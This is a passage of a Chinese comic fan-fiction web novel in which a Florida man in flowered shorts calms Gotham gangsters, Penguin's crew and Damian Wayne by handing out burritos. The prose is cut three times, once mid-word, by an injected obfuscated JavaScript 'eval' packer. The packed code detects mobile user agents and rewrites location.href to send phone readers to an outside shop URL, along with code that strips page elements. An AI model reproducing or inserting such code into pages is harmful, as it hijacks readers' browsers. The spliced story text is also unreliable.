红头罩是钉子,扎在那儿动不了。但那个花裤衩……是个有趣的变量。 他想起那天那个卷饼的味道。吃完之后,噪音带来的烦躁感消失了,整个人都平和了。不是那种被下药的感觉,就是……舒服。 如果他能利用这个人…… 门被敲响,光头走进来。 “老板,那批货今晚到港。黑面具那边的人也在盯着,我们要不要加派人手?” 企鹅人转过身,走到办公桌前,把雪茄按灭在烟灰缸里。 “不用。”他说,“我有个更好的主意。” 光头愣了:“什么主意?” 企鹅人眯起眼睛,嘴角慢慢勾起一个笑容。 “那个花裤衩,今天来了吗?” “还没有。” “派人去找他。”企鹅人坐进椅子里,“找到他,请他来坐坐。就说……我请他吃饭。” 光头点点头,转身要走。 “等等。”企鹅人叫住他,“客气点。别吓着他。” 光头应了一声,出去了。 企鹅人看着窗外的阳光,笑容更深了。 一个从佛罗里达来的傻子,带着一个能掏出东西的腰包,到处发卷饼交朋友。 这种傻子,最好利用了。 ---东区街头--- 达斯汀正蹲在巷子里,给一群流浪狗发卷饼。 那些狗一开始冲他叫,他把卷饼递过去,叫得最大声的那条闻了闻,然后开始摇尾巴。现在七条狗围着他,每条嘴里都叼着一块卷饼,尾巴摇得像风扇。 “慢点吃,别抢。”达斯汀摸摸最大那条的头,“你们哥谭的狗,也挺有意思。” 小饼干隔了一声,应付了一下。 身后传来脚步声。 他回头,看到两个穿黑西装的人站在巷口。领头的那个他认识——冰山餐厅的光头,昨天吃过他的卷饼。 “达斯汀先生。”光头走过来,态度比之前客气多了,“我们老板想请您去坐坐。吃饭。” 达斯汀眼睛亮了:“吃饭?现在?” 光头点头。 达斯汀站起来,拍拍手上的渣,对那群狗说:“你们先吃,我去蹭个饭。” 又看向火烈鸟和小饼干。 火烈鸟很立刻飞向了屋顶上方,很显然,他不打算和达斯汀一起去冒险。 小饼干则是隔了一声表示知道了。 狗们集体抬头看他,嘴里还嚼着卷饼。 达斯汀怂了怂肩,感叹:“好吧好吧,那就我一个人吧。”于是便独自一人跟着两个黑西装走了。 达米安蹲在滴水兽后面,手里的望远镜盯着下面那条巷子。 他看到那两个黑西装把达斯汀带走,眉头皱了起来。 企鹅人的人。 他想干什么? 达米安从屋顶跳下来,落进隔壁的巷子里,然后拿出通讯器。 “提姆,企鹅人的人把那个佛罗里达人带走了。” 提姆的声音传来:“我看到了。往南区方向去了。” “我们要不要管?” 通讯器里沉默了一秒。 “布鲁斯说继续观察。”提姆说,“企鹅人暂时不会动他。那个人的卷饼对企鹅人有用。” 达米安的眉头皱得更紧了。 “有用?” “企鹅人之前被噪音折磨得睡不着,吃了他的卷饼之后好转了。他现在把那个人当成缓解压力的工具。” 达米安沉默了一秒。 “所以那个佛罗里达人现在是企鹅人的私人医生?” “差不多。”提姆顿了顿,“达米安,你别乱来。” 达米安没回答,把通讯器关了。 他盯着南区方向,眼神越来越亮。 私人医生?不,他得亲眼看看这个人。 ---冰山餐厅--- 达斯汀被带到一个装修豪华的包厢里,圆桌上摆满了吃的——龙虾、牛排、各种叫不出名字的海鲜。企鹅人坐在主位上,看到他进来,笑着站起来。 “达斯汀,来来来,坐。” 达斯汀走过去,看了一眼桌上的菜,然后从腰包里掏出一个卷饼,放在自己面前的盘子里。 企鹅人愣了一下。 “你不吃这些?” “吃啊。”达斯汀指指卷饼,“但我得先吃自己的。习惯了。” 企鹅人的嘴角抽了抽,但很快恢复笑容。 “好好好,随你。”他亲自给达斯汀倒酒,“你走了之后,我睡了个好觉。那噪音终于消停了。” 达斯汀咬了一口卷饼,点点头:“嗯,鱼游过去了。” 企鹅人端酒杯的手顿了一下。 “鱼?” “对啊,下水道里的鱼。”达斯汀嚼着卷饼,“堵住了,游不过去,就在那儿发情。我帮它们把墙砸开了,它们就游过去了,现在不吵了。” 企鹅人沉默了三秒。 他看着达斯汀,想从那张脸上找出开玩笑的痕迹。但没有,那张脸真诚得像个孩子。 “你……帮鱼砸墙?” “对啊。”达斯汀又咬了一口,“它们想过去,我就帮一下。很简单。” 企鹅人深吸一口气,把那口酒灌下去。 这个人的脑回路,他这辈子都理解不了。 但没关系,他不需要理解,他只需要利用。 “达斯汀,”他放下酒杯,换上一副推心置腹的表情,“你帮了那些鱼,也帮了我。我得谢谢你。” 达斯汀摆摆手:“不用谢,又不是帮你砸的。” 企鹅人的笑容僵了一秒,但很快恢复。 “不管怎么说,你是我朋友。”他凑近一点,“既然是朋友,有件事我想请你帮忙。” 达斯汀抬起头,眼睛里带着好奇。 “什么事?” 企鹅人压低了声音。 “今晚有一批货要到港。不是什么危险的东西,但路上可能有人找麻烦。我需要一个……特别的人,跟着车队走一趟,帮我盯着。” 达斯汀眨了眨眼。 “特别的人?” “就是你。”企鹅人笑得很真诚,“你刚到哥谭,没人认识你,不会引起注意。你什么都不用做,就坐在车里,跟着车队走一圈。到了地方,有人接货,你再回来。很简单。” 达斯汀想了想。 “为什么要跟着?” 企鹅人叹了口气,做出一副无奈的样子。 “最近有人在抢我的货。我需要多一双眼睛。你不打架,不惹事,就看着。出了事你跑就行。” 达斯汀看着他,看了几秒。 然后他笑了。 “行啊,反正我也没事。” 企鹅人的笑容更深了。 “好兄弟。”他举起酒杯,“来,干一个。” 达斯汀和他碰了杯,把酒一口闷了。 企鹅人看着他喝下去,眼里闪过一丝得意。 这个傻子,真好骗。 达米安蹲在餐厅对面的楼顶上,用望远镜看着那扇窗户。 他看不到里面,但他能看到达斯汀走进去,过了很久还没出来。 他在干什么?企鹅人在跟他说什么? 通讯器又响了。 “达米安,你在哪?” 是迪克的声音。 达米安犹豫了一秒,还是接了。 “冰山餐厅对面。” “你疯了?”迪克的声音压低,“那是企鹅人的地盘。” “我知道。” “你回来。” “不回。”达米安盯着那扇窗户,“我要看他出来。” 迪克沉默了一秒,然后叹了口气。 “我过来找你。别动。” 达斯汀从餐厅里出来,手里拿着一个打包盒——企鹅人非要让他带点吃的回去给小饼干。 光头跟在他后面,态度比之前更恭敬。 “达斯汀先生,晚上七点,我派人去接您。” 达斯汀点点头,挥挥手,吹着口哨走了。 光头看着他的背影消失在街角,回到餐厅里。 企鹅人正站在吧台后面,给自己倒了一杯酒。 “安排好了?” 光头点头:“七点去接他。” 企鹅人喝了一口酒,眯起眼睛。 “车队那边准备好了吗?” “准备好了。货藏在海鲜箱里,没人查。” 企鹅人点点头,笑了。 “那个傻子,坐镇车里。万一真有人来抢,他就是最好的挡箭牌。没人会怀疑一个发卷饼的。” 光头也笑了。 但企鹅人没注意到,窗外对面的楼顶上,一个小黑点正在移动。 达斯汀走在回公寓的路上,手里拿着打包盒,哼着歌。 路过一条巷子时,他突然停下脚步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376634|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 巷子里蹲着一条流浪狗,但不是普通的流浪狗——是今天早上吃过他卷饼的那群狗里的其中一条,它身边还有一只小猫,橘色的,瘦得皮包骨头。 狗看到他,尾巴摇了起来。 达斯汀走过去,蹲下来。 小猫缩了缩,但没有跑。它太饿了,跑不动。 达斯汀从腰包里掏出两个卷饼,掰成小块,放在地上。 狗和猫一起埋头吃。 身后传来轻轻的脚步声。 达斯汀回头。 一个男孩站在巷口,穿着深色的衣服,眼睛紧紧盯着他——不,盯着他手里的小猫。 那眼神,和狗看到他时一模一样。 达斯汀眨了眨眼。 “你也想吃?”他从腰包里又掏出一个卷饼,“来,吃。” 达米安的脚步顿住了。 他看着递到面前的卷饼,又看着那张笑得毫无防备的脸。 “……我不饿。” “那你蹲着干嘛?”达斯汀指了指小猫,“想看这个?” 达米安没说话。 达斯汀往旁边挪了挪,让出一块空地。 “来,蹲着看。别吓着它。” 达米安犹豫了三秒,然后走过去,蹲到达斯汀旁边。 小猫抬头看了他一眼,又继续吃。 两个人蹲在巷子里,中间是两只正在吃卷饼的小动物。 阳光从头顶漏下来,照在他们身上。 达斯汀偏头看了达米安一眼。 “你多大了?” “十二。” “哦。”达斯汀点点头,“比我小十五岁。我叫达斯汀,佛罗里达来的。” “……我知道。” 达斯汀愣了一下,然后笑了。 “你认识我?” 达米安沉默了一秒。 “你最近挺有名。” 达斯汀笑得眼睛都眯起来了。 “是吗?我还没注意。” 小猫吃完了,开始舔爪子。那条狗靠到达斯汀腿边,尾巴继续摇。 达米安盯着那只猫,喉结动了一下。 “我能……摸一下吗?” 达斯汀点点头:“摸啊,它又不会咬你。” 达米安伸出手,轻轻碰了碰小猫的脑袋。 小猫的耳朵动了动,但没有躲。 达米安的嘴角微微翘起。 然后—— “达米安。” 一个声音从身后传来。 达米安的手僵住了。 迪克站在巷口,穿着便装,手里拿着个冰淇淋,表情复杂。 他看着蹲在达斯汀旁边的达米安,又看着达斯汀那张笑呵呵的脸,不知道该说什么。 达斯汀先开口了。 “你是他哥?”他指了指达米安。 迪克沉默了一秒。 “……算是。” “那一起吃?”达斯汀从腰包里又掏出一个卷饼,“还有。” 迪克看着那个卷饼,又看着达米安,又看着达斯汀。 他叹了口气,走过去,蹲下来。 三个人,两条狗,一只猫,挤在巷子里吃卷饼。 迪克咬了一口,味道确实不错。 他看了一眼达米安——那小子的眼睛一直盯着猫,表情柔软。 迪克的嘴角也翘了翘。 “你叫什么?”他问达斯汀。 “达斯汀。”达斯汀嚼着卷饼,“你呢?” “迪克。” “迪克?”达斯汀想了想,“这名字挺有意思。” 迪克点点头,没解释。 远处传来一声猫叫。 小猫站起来,往巷子深处跑去。 达米安站起来想追,但又停住了。 达斯汀拍拍他的肩膀。 “它吃饱了,该回家了,你明天再来,它应该还在。” 达米安看着他,眼神复杂。 “……你明天还来?” “来啊。”达斯汀站起来,“我每天都要溜达,这边巷子多,猫狗也多。” 达米安沉默了一秒,然后点点头。 迪克站起来,拉住达米安的手。 “我们先走了。” 达斯汀挥手:“明天见!” 迪克带着达米安走了,消失在巷口。 达斯汀蹲下来,摸摸那条狗的头。 “你朋友还挺多的嘛。”他对狗说。 狗摇摇尾巴,好像听懂了。 ---蝙蝠洞--- 布鲁斯站在屏幕前,看着刚才巷子里的监控回放。 达米安蹲在达斯汀旁边,伸手摸猫的那一幕,他看了三遍。 提姆坐在旁边,一言不发。 迪克的声音从通讯器里传来:“他没事。那个佛罗里达人……真的只是发卷饼。” 布鲁斯沉默了很久。 他盯着屏幕上那个穿花裤衩的男人,眉头微微皱起。 这人,到底是什么? ---东区公寓--- 达斯汀躺在床上,看着天花板。 小饼干趴在浴缸里,火烈鸟蹲在窗台上。 “今天认识了个小孩,”他对小饼干说,“还有他哥,哥谭人真有意思,一家子都挺能吃的。” 小饼干打了个嗝。 达斯汀笑了。 窗外,太阳落下去,天色渐暗。 晚上七点,他还有个局。 企鹅人请他帮忙看货。 他想,应该挺好玩的。 7. 企鹅人的利用 下 晚上六点五十五分,光头准时出现在达斯汀的公寓楼下。 达斯汀正在门口和老太太聊天——准确地说,是老太太在骂他,他在吃卷饼。 “……你小子脑子是不是进水了?企鹅人让你去你就去?” “他请我吃饭嘛。” “吃完饭还让你干嘛?” 达斯汀想了想:“去兜风。” 老太太的独眼瞪着他,瞪了很久。 然后她叹了口气。 “行,你去吧。”她站起来,拍拍裤子,“反正我拦不住你。” 达斯汀把卷饼塞给她,站起来,小饼干趴在他脚边,火烈鸟蹲在他肩上——那只鸟最近越来越粘人,不知道是不是因为哥谭的天气太冷了。 光头看着那鸟,嘴角抽了抽。 “达斯汀先生,车在那边。” 达斯汀点点头,跟着他走。小饼干慢悠悠地跟在后面,尾巴拖在地上,扫起一路灰尘。 路边停着一辆黑色的厢式货车,车身上印着“冰山海鲜”的logo。司机是个满脸横肉的大汉,看到达斯汀,眼神里带着毫不掩饰的轻蔑。 光头打开车门,达斯汀爬上去。车厢里堆满泡沫箱,箱子上印着龙虾、螃蟹、各种海鱼。一股腥味扑面而来。 达斯汀深吸一口气,眼睛亮了。 “这味儿,像我家。” 光头愣了一下。 “你……喜欢这味儿?” “对啊。”达斯汀在小饼干旁边坐下,“佛罗里达海边都这味儿。亲切。” 光头不知道该说什么,关上车门,对司机点点头。 货车发动,驶入夜色。 老太太看着离去的货车,又看看手里的卷饼,摇摇头。 “这小子,早晚把命玩没。” ---港口附近--- 货车在一条僻静的路上停下。 司机熄了火,和光头一起下车,走到路边抽烟。达斯汀从车厢里探出脑袋,看着周围黑漆漆的仓库。 “到了?” “没到。”光头吐出一口烟,“等信号。” 达斯汀点点头,缩回车厢里。小饼干趴在他脚边,尾巴轻轻扫着地面。火烈鸟缩在他怀里,脑袋埋进翅膀里。 “你们困了?”达斯汀摸摸小饼干的头,“一会儿就到了。” 小饼干打了个嗝。 远处传来发动机的声音。 不止一辆。 光头扔掉烟头,脸色变了。 “有情况。” 话音刚落,几辆黑色从岔路冲出来,堵住了货车的前后路。车门打开,一群拿枪的人跳下来,领头的是个脸上有疤的大汉。 “企鹅人的货?”疤脸大汉走到光头面前,枪口抵着他的胸口,“归我们了。” 光头举起手,脸色铁青。 车厢里,达斯汀探出脑袋,看着外面那群人。 “哟,来客人了?” 疤脸大汉转头看他,看到花裤衩,看到鳄鱼,看到火烈鸟,愣了一下。 “你他妈谁?” “我叫达斯汀。”达斯汀从车上跳下来,走到他面前,从腰包里掏出一个卷饼,“吃吗?” 疤脸大汉看着递到面前的卷饼,怀疑自己的眼睛出了问题。 “……什么?” “卷饼。”达斯汀又往前递了递,“刚做的。你饿不饿?” 疤脸大汉身后的几个人面面相觑。 其中一个小声说:“老大,这人好像有点问题……” 疤脸大汉没理他,盯着达斯汀。 “你知道我们在干什么吗?” “不知道。”达斯汀摇头,“但我看你们挺累的,大晚上还要出来工作。” 他又把卷饼往前递了递。 疤脸大汉沉默了三秒。 枪口抵着光头,他的人围着货车,场面一触即发。但面前这个穿着花裤衩的男人,只是举着一个卷饼,笑得一脸真诚。 疤脸以为自己听错了。 他看着那个递到面前的卷饼,又看着那张笑得毫无防备的脸,大脑短暂地空白了一秒。 “你……” “吃吧。”达斯汀把卷饼塞到他手里,“你们这么多人,大半夜出来干活,肯定没吃饭。” 疤脸低头看着那个热腾腾的卷饼。 卷饼的香味钻进鼻子。 他确实没吃饭。蹲了三个小时,又冷又饿。 他咬了一口。 嚼了两下。 又咬了一口。 达斯汀已经从他身边走过去,开始给其他人发卷饼。 “来,一人一个,别抢。” “你也有。” “这个给你。” 百号人,每人手里捧着一个热腾腾的卷饼,站在原地,茫然地嚼着。 达斯汀发完最后一个,拍拍手,走回疤脸面前。 “好吃吗?” 疤脸咽下最后一口,点了点头。 “……好吃。” 达斯汀笑了,指着身后的货车。 “那个,我能走了吗?还要送货。” 疤脸看着他,又看着手里的空油纸,又看着身后那群同样在吃卷饼的手下。 他张了张嘴,想说什么,但脑子像卡住了。 他是来抢劫的。 他应该把那车货抢走,把那几个人打一顿,然后回去向黑面具交差。 但现在,他手里只有一张油纸。 达斯汀拍拍他的肩膀。 远处,另一个黑影也动了。 蝙蝠侠站在滴水兽后面,夜视镜里完整地看到了刚才那一幕。 达米安蹲在他旁边,也看到了。 黑面具的人冲出来,围住货车,枪口抵着光头——然后那个穿花裤衩的男人走过去,递了一个卷饼,然后那些人就开始吃,然后就开始聊天,好像刚才不是抢劫,而是来走亲戚。 布鲁斯沉默了很久。 达米安的声音压得很低:“他……在干什么?” “发卷饼。”布鲁斯说。 “我知道。”达米安的声音有点飘。 他看着那辆货车消失在夜色里,又看着那群还在原地发呆的黑衣人,表情复杂。 “这是……什么能力?” 蝙蝠侠没有回答。他盯着那群黑衣人,眉头紧锁。 不是能力。 是更奇怪的东西。 那些人吃了卷饼之后,脸上的敌意消失了,眼神里的杀气也散了。不是被控制,不是被下药,就是……不想打了。 好像那个人的卷饼,能让人暂时忘记打架这件事。 但他看到了结果:枪放下了,冲突消失了,一场本该流血的抢劫,变成了一场路边野餐。 达斯汀和黑面具的人坐成一圈,每个人手里都捧着卷饼。 疤脸大汉已经吃了第三个。他嚼着卷饼,问达斯汀:“你是佛罗里达来的?” “对啊。” “那边真像你说的那么离谱?” 达斯汀想了想:“比这离谱多了。我们那儿有个人,为了不交停车费,把车开进海里,说是在洗车。” 几个人笑起来。 另一个手下问:“那你来哥谭干嘛?” “车坏了。”达斯汀耸肩,“等零件的时候顺便溜达。这边人也挺有意思的。” 疤脸大汉点点头,又咬了一口卷饼。 远处,光头站在货车旁边,整个人都是懵的。 他干了这么多年□□,第一次见到这种情况。 黑面具的人抢货抢到一半,和货主的人坐在一起吃卷饼。 他悄悄打开通讯器。 “老板……出了点状况。” 企鹅人的声音传来,带着一丝不耐烦:“什么状况?” 光头看着那边吃得热火朝天的一群人,组织了一下语言。 “黑面具的人……在吃卷饼。” 通讯器里沉默了五秒。 “……什么?” “那个佛罗里达人,给他们发卷饼,然后他们就不抢了,现在坐在一起吃。” 企鹅人的声音飘忽起来:“你是说……他用卷饼,让黑面具的人停手了?” 光头点头,虽然知道老板看不见。 “对。” 通讯器里又沉默了。 然后企鹅人笑了。 那笑声有点奇怪,像是不敢相信,又像是发现了什么。 “果然,有意思。”他说,“真他妈有意思。” ---港口--- 杰森蹲在一堆货箱后面,看着那边热闹的场面。 他的表情很复杂。 他见过很多离谱的事,但这一个……排得上号。 十分钟后,黑面具的人终于吃完了。 疤脸大汉站起来,拍拍达斯汀的肩膀。 “兄弟,今天认识你挺高兴。”他说,“下次来南区,我请你喝酒。” 达斯汀点头:“好嘞。” 疤脸大汉招呼手下上车,几辆黑车消失在夜色里。 光头松了一口气,走到达斯汀面前。 “达斯汀先生……您没事吧?” “没事啊。”达斯汀站起来,拍拍屁股,“他们人挺好的,聊得挺开心。” 光头摇头:“没事。我们回去。” 货车重新发动。 达斯汀坐在车厢里,抱着火烈鸟,对小饼干说:“今天认识了好多新朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红头罩的身体明显僵了一下。 “……不认识。” 蝙蝠侠没再问,消失在夜色中。 红头罩站在原地,盯着那堆被搬空的泡沫箱,沉默了很久。 然后他骂了一句,转身离开。 ---黑面具的据点--- 疤脸回到据点的时候,手里的枪还没拔出来过。 黑面具坐在沙发上,手里端着酒杯,看到他那张茫然的脸,眉头皱起来。 “货呢?” 疤脸张了张嘴。 “……没抢到。” 黑面具的酒杯停在半空。 “为什么?” 疤脸犹豫了三秒。 “因为一个发卷饼的。” 黑面具以为自己听错了。 “你说什么?” 疤脸把事情的经过讲了一遍——那个花裤衩,卷饼,百号人集体吃饼,然后让货车走了。 黑面具听完,沉默了十秒。 然后他把酒杯砸在桌上。 “你他妈的在耍我?” “没有!”疤脸后退一步,“是真的!百来个人都吃了,我也吃了。那卷饼真的好吃。” 黑面具盯着他,想从那张脸上找到撒谎的痕迹。 但疤脸的表情太真诚了,真诚得让他后背发凉。 “那个发卷饼的,是什么人?” “不知道。穿花裤衩,从一辆货车上下来。企鹅人那边的。” 黑面具眯起眼睛。 企鹅人。 那个胖子,什么时候找了这么个怪人? “查。”他说,“查清楚那个人什么来路。” 疤脸点点头,转身要走。 “等等。”黑面具叫住他,“那批货呢?” 疤脸愣了一下。 “……应该已经到地方了。” 黑面具的脸黑了。 ---东区公寓--- 达斯汀躺在床上,看着天花板。 小饼干趴在浴缸里,呼噜声均匀。 火烈鸟蹲在窗台上,脑袋埋进翅膀底下。 “今天认识了好多新朋友。”他对小饼干说,“那个光头,那个开车的。哥谭人挺热情的。” 小饼干打了个嗝。 达斯汀笑了。 他翻了个身,很快睡着了。 8. 日常 达斯汀是睡到自然醒。 阳光从窗户漏进来,照在他脸上。小饼干趴在浴缸里,尾巴浸在水中,轻轻摆动。火烈鸟蹲在窗台上,脑袋从翅膀底下钻出来,看了他一眼,又缩回去了。 达斯汀伸了个懒腰,从腰包里摸出三个卷饼。 “今天去哪溜达呢?”他一边嚼一边想。 楼下传来老太太的骂声——不知道又在骂哪个倒霉的路人。 达斯汀探出窗外,看到老太太站在门口,对着街对面的一辆黑色轿车竖中指。 “看什么看?滚远点!” 那辆车默默往后倒了十米。 达斯汀笑了。 “这老太太,脾气真大。” 他下楼的时候,老太太还在门口骂。 “小子,有人盯上你了。”她指着那辆黑色轿车,“那车,从早上就停那儿,换了三拨人,都盯着咱们这栋楼。” 达斯汀探头看了看。 “谁啊?” “黑面具的人。”老太太哼了一声,“昨晚你干了什么好事?” 达斯汀想了想:“去兜风了啊。” 老太太盯着他看了三秒,然后叹了口气。 “行,你去吧。反正我说了你也听不懂。” 达斯汀从腰包里掏出一个卷饼递给她,带着小饼干和火烈鸟,慢悠悠地往街上走。 黑色轿车里,两个人盯着他的背影。 “他出来了。” “跟上。” 车发动,缓缓跟了上去。 达米安蹲在一家关门的店铺门口,手里拿着一本书,眼睛却盯着街对面的达斯汀。 他已经跟了二十分钟。 那个佛罗里达人完全没发现他——不是警惕性低,是根本没想过有人会跟踪自己。他一路走一路发卷饼,给流浪汉发,给卖菜的大妈发,给路边晒太阳的猫发。 小饼干跟在他后面,尾巴拖在地上,一路扫起灰尘。火烈鸟站在小饼干背上,两只眼睛转来转去,像个瞭望员。 达米安的嘴角微微翘起。 然后他看到那辆黑色轿车。 黑面具的人。 他放下书,站起来。 达斯汀在公园里找到一条长椅,坐下晒太阳。 小饼干趴在他脚边,把脑袋搁在他鞋上。火烈鸟跳下来,开始追一只蝴蝶。 黑色轿车停在公园对面,车里的人拿着望远镜,正在记录。 “目标行为:喂鸽子、发卷饼、晒太阳。无异常。” 另一个人皱着眉:“这人到底什么来路?” “不知道。但老大说要查清楚。” 他们没注意到,一个小小的人影正从后面靠近他们的车。 达米安蹲在车后,安装了不起眼的监听器就影去身形。 达斯汀脑子里突然闪过一个画面——他的皮卡,修车厂,老托尼。 “小饼干,”他扭头对趴在旁边的鳄鱼说,“咱们是不是有辆车?” 小饼干打了个嗝。 火烈鸟站在他肩上,叫了一声,翻译过来大概是“你才想起来?” 达斯汀点点头,把最后一个卷饼掰碎撒给鸽子们,站起来拍拍裤子。 “走,去看看。” 老托尼正在给一辆破摩托换轮胎,抬头看到巷口出现的那一行——花裤衩、鳄鱼、粉红色的鸟——手上的扳手差点掉下来。 “你还活着?” 达斯汀走过去,从腰包里掏出一个卷饼递给他。 “活着啊。怎么了?” 老托尼没接卷饼,盯着他看了三秒。 “企鹅人请你吃饭了?” “吃了。” “黑面具的人拦你车了?” “拦了。” 老托尼沉默了。 “然后呢?” “然后他们吃了卷饼,就走了。” 老托尼的嘴张开,又闭上,又张开。 他看着达斯汀那张真诚的脸,想从上面找到撒谎的痕迹。但没有,这张脸干净得像佛罗里达的海滩。 “……你认真的?” “认真的啊。”达斯汀把卷饼塞到他手里,“我那车呢?” 老托尼低头看着手里的卷饼,又看看他,叹了口气,转身往车库里走。 “还给你留着呢。零件早到了,你自己不来取。” 达斯汀跟进去,看到他那辆破皮卡停在角落里,车身上落了一层灰。火烈鸟从肩上飞下来,落在引擎盖上,抖了抖羽毛。 “能开吗?” “能。”老托尼拍拍车顶,“加满油就能走。” 达斯汀绕着车转了一圈,点点头。 “行,那先放着。我还没溜达够。” 老托尼的嘴角抽了抽。 “你车修好了,不回去?” “回去干嘛?”达斯汀又掏出一个卷饼,自己咬了一口,“这边挺好玩的,再待几天。” 老托尼看着他,不知道该说什么。 这人,是真的心大,还是脑子有问题? 他想起这几天东区的传闻——一个穿花裤衩的男人,到处发卷饼,□□见了都停下来吃,打不起来了。 他看着达斯汀,眼神复杂。 “小子,你知道你现在在哥谭什么名声吗?” 达斯汀眨眨眼:“什么名声?” “都说你是个……”老托尼顿了顿,“不好惹的。” 达斯汀愣了一下,然后笑了。 “我?不好惹?”他笑得弯下腰,“我就是个发卷饼的。” 老托尼摇摇头,没再说话。 达斯汀又掏出两个卷饼,一个塞给老托尼,一个放在车顶上。 “这个给小饼干留着,它一会儿饿了吃。”他指了指外面那条趴在阴凉里的鳄鱼,“我先走了,回头再来。” 他挥挥手,带着火烈鸟走了。 老托尼站在车库里,看着手里的卷饼,又看着车顶上那个,又看着那条趴在门口的鳄鱼。 他咬了一口卷饼,嚼着嚼着,突然笑了。 “这他妈是什么人啊。” ---街角--- 达米安在距离达斯汀不远处窃听黑车的两个人说话。 “……那家伙真他妈奇怪。疤哥说他发卷饼,然后咱们的人就不抢了。” “你信?” “我不信,但疤哥确实没抢到货。” “会不会是下药了?” “检测过了,就是普通卷饼,面粉、牛肉、生菜、辣椒酱。” 沉默了几秒。 “那他妈是什么?催眠?” “不知道。老大让盯着,咱就盯着呗。” 达米安听着,眉头皱起来。 卷饼没下药,那是什么原理? 他想起了自己吃过的那个卷饼——那天在巷子里,达斯汀递给他,他本来想拒绝,但还是接了。 味道确实好。 而且吃完之后,心情确实变好了。 不是被控制的感觉,就是……舒服。 车停了。 “他进巷子了,跟上去。” 达米安跟了上去。 达斯汀蹲在一只流浪猫面前,正在给它掰卷饼。 那只猫瘦得皮包骨头,毛色灰扑扑的,但吃得很专注。 “慢点吃,别噎着。”达斯汀摸摸它的头。 身后传来脚步声。 他没回头,说:“你也饿了?” 达米安的脚步顿了一下。 “……不是。” 达斯汀回头,看到昨天那个小孩,眼睛亮了。 “是你啊!你来找猫的?” 达米安走过去,蹲下来,盯着那只猫。 “它还在。” “在啊。”达斯汀往旁边挪了挪,“这只不是昨天那只,但也是饿的。哥谭的猫真多。” 达米安没说话,伸出手,轻轻碰了碰猫的脑袋。 猫抬头看了他一眼,又继续吃。 达米安的嘴角微微翘起。 达斯汀从腰包里又掏出一个卷饼,递给他。 “你也没吃吧?给。” 达米安看着那个卷饼,犹豫了一秒,接了。 两人蹲在巷子里,中间是一只吃卷饼的猫,各自吃着自己手里的卷饼。 达米安咬了一口。 味道还是那么好。 “你那个腰包,”他开口,“能装多少东西?” 达斯汀想了想:“不知道,没装满过。” “你昨天,”达米安斟酌着措辞,“去干什么了?” 达斯汀眼睛亮了。 “去兜风了!有一群人拦车,我给他们发卷饼,他们吃了,然后就不拦了。后来去码头,卸完货就回来了。挺好玩。” 达米安看着他。 这个人说的“一群人拦车”,是黑面具的人抢劫。 这个人说的“他们吃了就不拦了”,是百多号人被他用卷饼策反。 这个人说的“挺好玩”,是卷入□□军火交易还全身而退。 达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376636|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米安深吸一口气。 “你知道那些人是什么人吗?” “不知道啊。”达斯汀摇头,“但人挺好的,吃了卷饼还跟我聊天。” 达米安沉默了。 远处传来脚步声。 达斯汀抬头,看到昨天那个大男孩——迪克——站在巷口。 “达米安。” 达米安站起来,拍了拍裤子。 “我走了。” 达斯汀挥手:“明天还来吗?猫还在这。” 达米安顿了一下,没回头。 “……看情况。” 迪克走过来,拉起他的手。临走前,他回头看了达斯汀一眼,眼神复杂。 达斯汀冲他挥手。 迪克点点头,带着达米安走了。 巷子里只剩达斯汀、小饼干、火烈鸟,和那只还在吃的猫。 “他家人可真好。”达斯汀对猫说。 猫吃完卷饼,舔了舔爪子,头也不回地走了。 达斯汀站起来,拍拍裤子。 “走吧,继续溜达。” ---黑面具的据点--- 黑面具坐在沙发上,面前站着两个盯梢回来的手下。 “说吧,查到什么了。” 两人对视一眼,其中一个开口。 “他今天去了公园,喂鸽子,晒太阳。去了趟修车店,然后给给流浪猫发卷饼,还和一个小孩蹲在巷子里聊天。” 黑面具的眉头皱起来。 “小孩?” “对,大概十来岁,黑头发,看着不像普通人。” 黑面具眯起眼睛。 “然后呢?” “然后另一个男的把小孩带走了。我们没敢跟太近,怕被发现。” 黑面具沉默了几秒。 “那个花裤衩,有什么特别的?” 两人又对视一眼。 “特别……普通。” “什么?” “就是特别普通。他走路慢悠悠的,见人就笑,见猫就喂,见流浪汉就发卷饼。完全不像……不像有什么问题的人。” 黑面具盯着他们。 “你们的意思是,那个让疤脸百来号人放弃抢劫的家伙,就是个普通发卷饼的?” 两人不知道该怎么回答。 黑面具挥挥手,让他们滚出去。 他站起来,走到窗前,看着外面的街道。 普通? 不可能。 一个能让疤脸那种人放弃任务的人,不可能普通。 那个卷饼,那个腰包,那个小孩…… 他深吸一口雪茄。 “继续盯。”他对身后的阴影说,“盯死他。” ---冰山餐厅--- 企鹅人也在听汇报。 光头站在他面前,把昨晚的情况从头到尾讲了一遍——黑面具的人怎么围上来,达斯汀怎么发卷饼,那些人怎么吃了就不抢了,后来怎么坐在一起聊天,最后怎么开车走人。 企鹅人听完,沉默了很久。 “聊什么?” 